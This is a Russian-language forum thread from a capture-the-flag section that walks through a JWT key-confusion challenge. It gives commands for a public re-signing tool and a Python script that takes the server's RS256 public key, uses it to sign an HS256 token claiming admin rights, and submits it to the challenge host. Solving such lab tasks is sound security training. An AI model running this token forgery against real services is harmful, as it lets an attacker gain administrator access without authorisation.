HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.04.2023, 10:59
delifer
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами: 2226531

Репутация: 0
По умолчанию



Первым делом, нужно сгенерировать наш токен.

http://62.173.140.174:16005/gen-jwt/

ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT,именно PyJWT, удалите jwtи старыйPyJWT

Python:


Код:
pip3 uninstall jwt PyJWT
pip3 install PyJWT
Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра

Код:


Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}
Запускаем утилиту следующей командой и ключами:

Код:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
Цитата:

-k - где лежит наш публичный ключ
-n - выдаст только один токен

Вставляем сгенерированый токен в браузер:

http://62.173.140.174:16005/check-jwt/

ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
 
Ответить с цитированием

  #2  
Старый 11.04.2023, 11:03
GoBL1n
Новичок
Регистрация: 02.03.2017
Сообщений: 0
С нами: 4841507

Репутация: 0
По умолчанию

 
Ответить с цитированием

  #3  
Старый 14.04.2023, 14:17
Exited3n
Постоянный
Регистрация: 28.05.2022
Сообщений: 800
С нами: 2086530

Репутация: 0


По умолчанию

Решил разобраться с этим таском плотнее, узнать и понять как генерировать JWT без использования сторонних библиотек и сервисов таких как pyJWT, python-jwt, token.dev и пр.



Header, Payload энкодим в Base64, склеиваем их с точкой между собой и на основе данной строки высчитываем signature.
Потом склеиваем все вместе и получаем JWT.

Написал свою реализацию на питоне:

Python:


Код:
import
requests
import
json
import
hmac
import
hashlib
import
base64
def
site_req
(
url
:
str
)
-
>
dict
:
with
requests
.
Session
(
)
as
s
:
req
=
s
.
get
(
url
)
req
=
json
.
loads
(
req
.
text
)
return
req

header
=
{
"typ"
:
"JWT"
,
"alg"
:
"HS256"
}
payload
=
{
"name"
:
"exited3n"
,
"isAdmin"
:
True
}
secret
=
site_req
(
'http://62.173.140.174:16005/get-pub'
)
.
get
(
'pub_key'
)
def
jwt_gen
(
header
:
dict
,
payload
:
dict
,
secret
:
str
)
-
>
bytes
:
jwt_parts
=
[
]
json_header
=
json
.
dumps
(
header
)
.
encode
(
)
json_payload
=
json
.
dumps
(
payload
)
.
encode
(
)
jwt_parts
.
append
(
base64
.
urlsafe_b64encode
(
json_header
)
)
jwt_parts
.
append
(
base64
.
urlsafe_b64encode
(
json_payload
)
)
merge_payload_header
=
b'.'
.
join
(
jwt_parts
)
signature
=
hmac
.
new
(
secret
.
encode
(
)
,
merge_payload_header
,
hashlib
.
sha256
)
.
digest
(
)
jwt_parts
.
append
(
base64
.
urlsafe_b64encode
(
signature
)
)
return
b'.'
.
join
(
jwt_parts
)
print
(
f'JSON Web Token:{str(jwt_gen(header, payload, secret))[2:-1]}'
)
print
(
site_req
(
'http://62.173.140.174:16005/check-jwt/'
+
str
(
jwt_gen
(
header
,
payload
,
secret
)
)
[
2
:
-
1
]
)
.
get
(
'msg'
)
)
 
Ответить с цитированием

  #4  
Старый 10.07.2024, 11:31
aboba_uz
Новичок
Регистрация: 09.07.2024
Сообщений: 0
С нами: 973650

Репутация: 0
По умолчанию

Цитата:

D3L1F3R сказал(а):

Первым делом, нужно сгенерировать наш токен.

http://62.173.140.174:16005/gen-jwt/

ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT,именно PyJWT, удалите jwtи старыйPyJWT

Python:


Код:
pip3 uninstall jwt PyJWT
pip3 install PyJWT
Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра

Код:


Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}
Запускаем утилиту следующей командой и ключами:

Код:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
Вставляем сгенерированый токен в браузер:

http://62.173.140.174:16005/check-jwt/

ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:

Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY SIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz 5pk3IXYCkvN5yw2AQ
 
Ответить с цитированием

  #5  
Старый 10.07.2024, 13:29
delifer
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами: 2226531

Репутация: 0
По умолчанию

Цитата:

aboba_uz сказал(а):

Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY SIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz 5pk3IXYCkvN5yw2AQ

Попробуй как на видео сделать, там всё получилось
 
Ответить с цитированием

  #6  
Старый 15.09.2024, 12:32
serzh_fedorov
Новичок
Регистрация: 19.08.2024
Сообщений: 0
С нами: 914192

Репутация: 0
По умолчанию

Спасибо за разбор, очень полезный. Однако хотел спросить - в подсказке к заданию указано что надо смотреть в сторону поиска CVE, хотя тут о нем не слова, получается есть иное решение таска?
 
Ответить с цитированием

  #7  
Старый 17.09.2024, 20:56
delifer
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами: 2226531

Репутация: 0
По умолчанию

Цитата:

serzh_fedorov сказал(а):

Спасибо за разбор, очень полезный. Однако хотел спросить - в подсказке к заданию указано что надо смотреть в сторону поиска CVE, хотя тут о нем не слова, получается есть иное решение таска?

Думаю, что так оно и есть
 
Ответить с цитированием

  #8  
Старый 27.10.2024, 18:27
OxDEADBEEF
Новичок
Регистрация: 24.11.2023
Сообщений: 0
С нами: 1302011

Репутация: 0
По умолчанию

Привет, сгенерил токен и с помощью jwt.io и с помощью тулзы -> оба выдают failure, причем вставлял в secret публичный ключ, и по итогу получал одинаковые токены
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...